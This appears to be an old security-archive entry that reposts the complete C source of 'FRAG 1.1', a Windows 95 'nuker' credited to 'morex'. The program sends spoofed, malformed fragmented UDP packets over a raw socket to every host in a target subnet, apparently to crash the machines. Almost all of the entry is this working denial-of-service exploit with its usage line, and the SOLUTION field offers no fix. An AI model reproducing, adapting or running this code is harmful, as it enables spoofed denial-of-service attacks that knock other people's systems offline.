COMMAND
win nuker
SYSTEMS AFFECTED
Win95, 98?
PROBLEM
'morex' posted following. It's a little nitty griddy win95 nuker.
Code follows:
/*
Use -lm to compile
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <math.h>
#define NUM_BOMB 1
#define SIZE 64
#define MTU 48
struct pseudohdr {
unsigned long saddr, daddr;
char zero;
char protocol;
unsigned short length;
struct udphdr udp;
};
void banner(void) {
printf("\nFRAG 1.1\n");
}
void usage(const char *progname) {
printf("usage :\n");
printf("%s < spoof > < dest[/mask] > [ numbomb ]\n",progname);
}
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr
) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
int send_winbomb(int socket,
unsigned long spoof_addr,
struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr *ip;
struct udphdr *udp;
int rc;
struct pseudohdr pseudo;
packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct udphdr) + SIZE);
ip = (struct iphdr *)packet;
udp = (struct udphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct udphdr) + SIZE);
/* This is the IP header of our packet. */
ip->ihl = 5;
ip->version = 4;
ip->id = htons(34717);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) +
SIZE);
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->saddr = spoof_addr;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(random());
udp->dest = htons(random());
udp->len = htons(sizeof(struct udphdr) + SIZE);
pseudo.saddr = ip->saddr;
pseudo.daddr = ip->daddr;
pseudo.protocol = IPPROTO_UDP;
pseudo.zero = 0;
pseudo.length = htons(sizeof(struct udphdr) + SIZE);
pseudo.udp = *udp;
ip->frag_off |= htons(0x2000);
ip->tot_len = htons(MTU);
if (sendto(socket,
packet,
MTU,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
ip->tot_len = htons((sizeof(struct udphdr) + SIZE) % MTU);
ip->frag_off = htons((MTU - sizeof(struct iphdr)) >> 3);
ip->check = in_cksum(ip, sizeof(struct iphdr));
if (sendto(socket,
packet,
(sizeof(struct udphdr) + SIZE) % MTU,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char * *argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock,numbomb;
unsigned long src_addr,longtmp,currentip,lastip,mask;
char *target_net,*p;
banner();
if ((argc < 3) || (argc < 4)) {
usage(argv[0]);
return(-1);
}
target_net = strtok(strdup(argv[2]), "/");
mask = (p = strtok(NULL,""))? atoi(p) : 32;
if (argc == 4) {
numbomb = atoi(argv[3]);
} else {
numbomb = NUM_BOMB;
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"ERROR: Opening raw socket.\n");
return(-1);
}
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
src_addr = dest_addr.sin_addr.s_addr;
if (resolve(target_net,0,&dest_addr) == -1) { return(-1); }
printf("%s: sending packets.\n",argv[0]);
longtmp = ntohl(dest_addr.sin_addr.s_addr);
currentip = longtmp & (unsigned long) (0 - pow(2,32 - mask));
lastip = longtmp | (unsigned long) (pow(2,32 - mask) - 1);
while(currentip <= lastip) {
if(currentip % 256 && currentip % 256 != 255) {
/* printf("\n%u...", currentip);*/
dest_addr.sin_addr.s_addr = htonl(currentip);
for (i = 0;i < numbomb;i++) {
if (send_winbomb(sock,
src_addr,
&dest_addr) == -1) {
fprintf(stderr,"ERROR: sending packet.\n");
return(-1);
}
usleep(1000);
}
}
currentip++;
}
printf("%s: done.\n",argv[0]);
}
SOLUTION
There was no time to see if it works in 98 or winsoke 2.X+